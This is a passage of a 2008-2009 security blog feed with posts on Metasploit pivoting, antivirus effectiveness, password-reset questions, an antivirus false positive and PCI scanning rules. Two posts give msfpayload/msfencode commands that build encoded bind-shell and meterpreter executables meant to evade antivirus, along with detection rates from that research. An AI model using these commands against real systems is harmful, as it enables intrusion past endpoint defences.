href='http://www.blogger.com/feeds/3840785077954302324/posts/default/7263167464424573034'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/01/who-would-you-trust.html' title='Who would you trust?'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-4139588692893437951</id><published>2008-12-30T23:03:00.003-05:00</published><updated>2008-12-30T23:35:27.904-05:00</updated><title type='text'>Jing - OS X Screen Capture &amp; Metasploit Route</title><content type='html'>I was trying out jing over the weekend and I like it.  Its free screen capture software for your Macintosh.   It allows you to capture a movie from your desktop and give it a voice over.  Then you can save the contents as an adobe flash movie.   It integrates with www.screencast.com and allows you to upload and share files with the world.  All for free as long as you stay beneath 2 GB per month.   One draw back is it doesn't come with editing software.  So unless you use a separate tool you need to get it right in one take.   Check it out here..  &lt;a href="http://www.jingproject.com/"&gt;http://www.jingproject.com&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To try it out I made a video (one take) of using Metasploit's route statement to accomplish a true pivot.   Route is a command that can be run from within the Metasploit console.  It routes attacks through an existing meterpreter session.   The route statement is not altering the routing tables on the attacking host.  This is also different that the route statement which alters the client host when your are in the Meterpreter session.   This route statement alters the routing tables used by Metasploit (see lib/rex/socket/switch_board.rb). Not all Metasploit tools will honor the routes.   It seems that those that are built on "Session" objects which uses the "Comm" object honor the routes.   Some components (such as auxiliary modules) do not inherit the comm and/or switchboard objects and thus do not honor the routes.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Check the video out &lt;a href="http://www.screencast.com/t/PXFoUtvLZ"&gt;here.&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-4139588692893437951?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4139588692893437951'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4139588692893437951'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/12/jing-os-x-screen-capture-metasploit.html' title='Jing - OS X Screen Capture &amp; Metasploit Route'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-8944934030531535521</id><published>2008-12-01T20:14:00.010-05:00</published><updated>2009-01-21T22:18:11.912-05:00</updated><title type='text'>msfencoding tips and SANS CDI presentation</title><content type='html'>&lt;div&gt;UPDATE 1-21-2009:  HD Moore delivered&lt;a href="http://trac.metasploit.com/changeset/6043"&gt; this patched on Christmas Eve&lt;/a&gt;.   I don't want to start any rumors, but has anyone ever seen HD Moore and Santa Claus in the room at the same time?   Google certainly seems to indicate some type of relationship.&lt;a href="http://www.google.com/search?hl=en&amp;amp;q=%22hd+moore%22+%22santa+claus%22&amp;amp;btnG=Search"&gt;.Hmm&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Original Post:&lt;/div&gt;On Dec 15th I am giving a presentation at SANS CDI on my &lt;a href="https://www2.sans.org/reading_room/whitepapers/casestudies/2134.php"&gt;whitepaper&lt;/a&gt; on the Effectiveness of Antivirus detecting Metasploit payloads.    Metasploit changes CONSTANTLY and I want to be sure my presentation is up to date.   So I've been spending some time updating my reasearch.  Here is what I learned.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;First, when I wrote my paper,  msfencode wouldn't produce an EXE.   In my paper I described three techniques for creating an EXE.    Since then, metasploit added the ability to create an EXE, but it still has a few kinks.    First, msfencode doesn't actually encode the payload.   Today it just changes the base address and adds a 0x0A to the end of the payload.  I've reported the bug to the development team today.   Given that the guys on that team seem to exhale highly functional code I suspect it will be fixed long before anyone reads my blog.   I suggest you wait for their fix, but here is what I found.   &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;msfencode has this line where it sets the encoded payload to the variable "RAW"..&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;  &lt;span class="Apple-style-span"  style="font-size:small;"&gt;# Encode it up&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;   raw = enc.encode(buf, badchars)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Then when it creates its payload it does this call...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;exe = Rex::Text.to_win32pe(buf, "")&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;But "BUF" is the unencrypted payload.    Yep.  It does nothing.   Every EXE you've encoded since the update on Sept 26th (when the EXE encoding option was introduced) hasn't been encoded.   "But the MD5 hash changed",  you say?   Yep.   The to_win32pe method of the TEXT object used by msfpayload and msfencode also changes the base memory load address of the binary randomly.  So it changes the EXE by a couple of bytes.   While waiting on the real fix from the metasploit team you can use one of the three methods describe in my paper or you can make this change...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;exe = Rex::Text.to_win32pe(raw, "")&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And guess what... msfencode encodes now!  BUT  the payloads still don't work.  If you encode a payload it doesn't run.   So we take a look at our new binary in OLLYDBG and see that when the new exe reaches the XOR function to decrypt the payload it generates a Memory Access Violation.   I suspect this was the result of the fact that 3.2 moved the actual payload the the .rdata section of the executable.  So I reverted the EXE template to the one that came with the 3.1 version.    The template that is used for the payload is located in the  &lt;framework&gt;/data/template/template.exe   If you revert to the TEMPLATE.EXE from 3.1  then everything works great.  You can encode your payloads  (Remember msfencode requires RAW input, see my paper for details) like this...&lt;/framework&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;./msfpayload windows/shell_bind_tcp R | ./msfencode  -t exe -o ~/winbindencoded.exe&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Hungry for more?   Lets have some real fun and double encode it!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;./msfpayload windows/shell_bind_tcp R | ./msfencode -e x86/countdown -t raw | ./msfencode -t exe -o ~/winbinddoubleencode.exe&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This encrypts the payload once with the countdown xor engine and then wraps that in a shikata_na_gia encoding.   Double encoding.  Cool!  BUT perhaps not very helpful in avoiding antivirus.   Encoding something twice will likely just result in the avoidance of the outer encoding algorithm.   Oh well.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Here are some numbers from submitting them to www.virustotal.com:&lt;/div&gt;&lt;div&gt;Bindshell = 3/37&lt;/div&gt;&lt;div&gt;Bindshell + countdown = 6/37&lt;/div&gt;&lt;div&gt;Bindshell + Shikata_na_gia encoding = Detected by 6/37&lt;/div&gt;&lt;div&gt;Bindshell + countdown encoding + Shikata_na_gia encoding = Detected by 6/37&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'll talk about this some more at my SANS CDI talk.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-8944934030531535521?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/8944934030531535521'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/8944934030531535521'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/12/msfencoding-tips-and-sans-cdi.html' title='msfencoding tips and SANS CDI presentation'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-4488526642050692846</id><published>2008-11-20T16:22:00.002-05:00</published><updated>2008-11-20T16:42:07.539-05:00</updated><title type='text'>Worst cognitive password?</title><content type='html'>Cognitive passwords are those questions your bank and other accounts have you setup so that you can reset your password or verify your identity if you have forgotten your password.   I personally am not a big fan of these.   If forced to implement a solution based on these I would go with several "In the Wallet" questions.   Questions that would require the individual pull something from there wallet to answer the question.   Things like:&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;"What are the last 6 digits of your library card number?" &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;"What is the last name of the issuer of your fitness club card?" &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;"What is the last 6 digits on your favorite Shopping club card?"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;If you use these types of questions you have to give the user many choices.   Not everyone has a shopping club card  or a library card, so a broad set of questions works best.   The goal of coming up with the questions should be to have answers that can not be easily guessed or looked up on the internet.   Here are some examples of horrible questions.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Looked up with some simple information about the user:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;"So Sarah Palin, where did you meet your spouse?"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;"What is your voting precinct or district?"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Easily brute forced or guessed:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;"What is your favorite baseball team?&lt;/span&gt;"   Guess what 80% of the people in Atlanta say.&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;"What is your favorite color?" &lt;/span&gt;  Come on, who isn't madly in love with one of the primary colors?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The last category of question that suck is those tha only a few possible answers that could be right.   Today I renewed by subscription to a prominent computer SECURITY magazine that asked me, "&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;How many siblings do you have?&lt;/span&gt;"  With the exception of a few families we can pretty much rule out anything greater than 4.  And all of those families have their own discovery channel show, so we know their answers.   The best I can hope for is that my answer wont be brute-forced in the first 5 attempts!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Summary:  Avoid cognitive passwords if you can.  If you have to use them, be very careful with the questions you choose.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-4488526642050692846?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4488526642050692846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4488526642050692846'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/11/worst-cognitive-password.html' title='Worst cognitive password?'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-6124853609276236622</id><published>2008-10-12T15:07:00.003-04:00</published><updated>2008-10-13T21:52:42.893-04:00</updated><title type='text'>Metasploit updates to msfencode and exe template</title><content type='html'>&lt;div&gt;HD Moore and the team at Metasploits are constantly updating the framework.    The programs, scripts and approaches I document In my  SANS paper on the Effectiveness of Antivirus in Detecting Metasploit Payloads have changed significantly.     If you haven't read my paper you may find it interesting.  Its &lt;a href="http://www.sans.org/reading_room/whitepapers/casestudies/2134.php"&gt;here&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In the document I showed how an attacker can create standalone executable payloads of any of the available payloads in the framework.  I showed how to you can use msfencode to alter the payload to avoid detection by antivirus.   One difficulty at the time was that msfencode didn't make an executable.   That all changed on&lt;a href="http://www.metasploit.com/dev/trac/changeset/5689"&gt; 9-26!&lt;/a&gt;  HDM make the some changes to both the template that is used by msfpayload and msfencode (among other things).  It now much easier to avoid antivirus.  Now msfencode will create an EXE!   It doesn't show up in the options when you do msfencode -h but it works! So the following:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -t exe&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;will encode the standalone meterpreter with the default encoder Shikata_ga_nai.   It works great!!  REMEMBER: msfencode wants machine language code as input (RAW output from msfpayload)   If you tell msfpayload to generate an EXE then pipe that to msfencode, msfencode will encode the Win32 PE headers and you end up with binary that will not run.  Give msfencode C source code and it will produce encoded C source code.  But that source code won't run and better than the unecoded one.    msfencode needs RAW input.  &lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;msfencode will also generate RAW output, so you should  be able to chain multiple payload encodes.  This works great too!&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;# ./msfpayload windows/shell_bind_tcp R | ./msfencode -e x86/fnstenv_mov -t raw | ./msfencode -t exe &gt; doubleencoded.exe &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;[*] x86/fnstenv_mov succeeded, final size 342&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;[*] x86/shikata_ga_nai succeeded, final size 369&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;UPDATE:  I have been unable to reproduce this result again.    Encoding binaries a second time has resulted in corruption. I'm not sure what I did wrong last night.   I probably tested my single encoded binary thinking it was my double encoded.  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Things have change quite a bit since february.   A straight payload with no encoding is detected by 3 antivirus products, Avast, AVG and GData.   But none of them detect it as a metasploit payload.  Instead they detect a generic "dropper".  These are NOT the same antivirus products that detected payloads back in february.  Those two products (Kasperski and Webgateway) don't detect anything now.  Seems we are relying on dumb luck    &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Unencoded&lt;/span&gt; payload is detected by 3 antivirus products, Avast, AVG and GData &lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Single encoded &lt;/span&gt;(shikata_ga_nia) is detected by 3 antivirus products, Avast, AVG and GData&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="color: rgb(153, 153, 153);"&gt;Double encoded&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(153, 153, 153);"&gt; (fnstenv_mov + shikata_ga_nia) is detected by 1 Antivirus product, AVG&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Additionally HD changed the template that is used.   When msfpayload and msfencode create an executable they rather elegantly do a merge of the payload text with the binary /data/template.exe.   HD change the template to make it more difficult for antivirus to detect the payloads.  It now stores the payloads in the .rdata section rather than the .data section and employes some techniques to avoid detection.   &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Lets pretend for a minute that antivirus was able to detect the payloads BEFORE these changes.   That task just got a whole lot harder for the antivirus vendors. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Pauldotcom.com did some some similar work on metasploit payloads in September of this year.  Check out his stuff &lt;a href="http://pauldotcom.com/wiki/index.php/Episode125"&gt;here.&lt;/a&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-6124853609276236622?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/6124853609276236622'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/6124853609276236622'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/10/metasploit-updates-to-msfencode-and-exe.html' title='Metasploit updates to msfencode and exe template'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-2918880082305034919</id><published>2008-09-19T15:56:00.002-04:00</published><updated>2008-09-19T16:08:25.786-04:00</updated><title type='text'>Symantec Detects Symantec as virus</title><content type='html'>I love incidents caused by false positives in antivirus products.    Its frustrating enough that they &lt;a href="http://markremark.blogspot.com/2008/04/effectiveness-of-antivirus.html"&gt;don't detect legitimate threats&lt;/a&gt;, but when they delete legitimate files its just a waste of time and energy. &lt;br /&gt;&lt;br /&gt;Today I handled an incident where 10% of an organizations machines detected &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;ESUGRemoteSvc&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;exe&lt;/span&gt; as a Trojan..&lt;br /&gt;&lt;br /&gt;2008-09-19 17:13:48;2008-09-19 17:23:42;Real Time Scan;LOGGER_Real_Time;1;Virus found;Trojan Horse;1;"C:/WINDOWS/system32/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;ESUG&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;ESUGRemoteSvc&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;exe&lt;/span&gt;";Quarantined;&lt;br /&gt;&lt;br /&gt;Fire up the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;IRT&lt;/span&gt; engine.  Gather samples, run it in a isolated machine to watch it behavior, submit it to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;virustotal&lt;/span&gt;.com and Normans Sandbox, pull it apart with Immunity Debugger, but the thing looks legit.   No machines are scanning the network or making &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;TCP&lt;/span&gt; connections to an unusual number of hosts, but it appeared to be spreading.   So what is this evil program?  ITS &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;SYMANTECS&lt;/span&gt; OWN ADMIN TOOL!!!  &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;ESUG&lt;/span&gt; stands for "&lt;a href="http://geekzit.com/newsite/ftp/data/MakeDrop.pdf"&gt;Enterprise Support Utilities Group&lt;/a&gt;"&lt;br /&gt;&lt;br /&gt;A call to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;Symantec&lt;/span&gt; confirmed it was a false positive.    Thanks for the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;friday&lt;/span&gt; afternoon excitement.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-2918880082305034919?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2918880082305034919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2918880082305034919'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/09/symantec-detects-symantec-as-virus.html' title='Symantec Detects Symantec as virus'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-2076266299375164622</id><published>2008-09-02T20:05:00.004-04:00</published><updated>2008-09-02T20:31:02.963-04:00</updated><title type='text'>PCI - The gaping hole in your IDS/IPS</title><content type='html'>&lt;!--StartFragment--&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;I’&lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;ve&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; come to learn &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; requires business leave their network unmonitored and open to attack!!!   Specifically  on page 4 item  #13 of this document.  &lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#0000FF;"&gt;&lt;u&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;https://www.pcisecuritystandards.org/pdfs/pci_scanning_procedures_v1-1.pdf&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;It reads:&lt;br /&gt;13. Arrangements must be made to configure the intrusion detection  system/intrusion prevention system (IDS/&lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;) to accept the originating &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; address of the &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;ASV&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;. If this is not possible, the scan should be originated in a location that prevents IDS/&lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; interference.&lt;br /&gt;&lt;br /&gt;I understand what the intention of this requirement is.  If your &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; is blacklisting the scanner &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IP's&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; then &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;ASVs&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; don't get a full assessment because they are a loud and proud scan rather than a targeted attack.    For example,  Lets say I have 1000 host on my network.   If during the assessment of host 1 of 1000 the &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; blocks the source &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; of the scanner, then serious threats will remain undetected on hosts 2-1000 and portions of host 1.   An attacker who is not nearly as noisy as a scanner would not be blocked by the &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; and could exploit those undetected vulnerabilities.    This is a very legitimate problem and the &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; standard needs to be sure that &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;’s do not cause that.  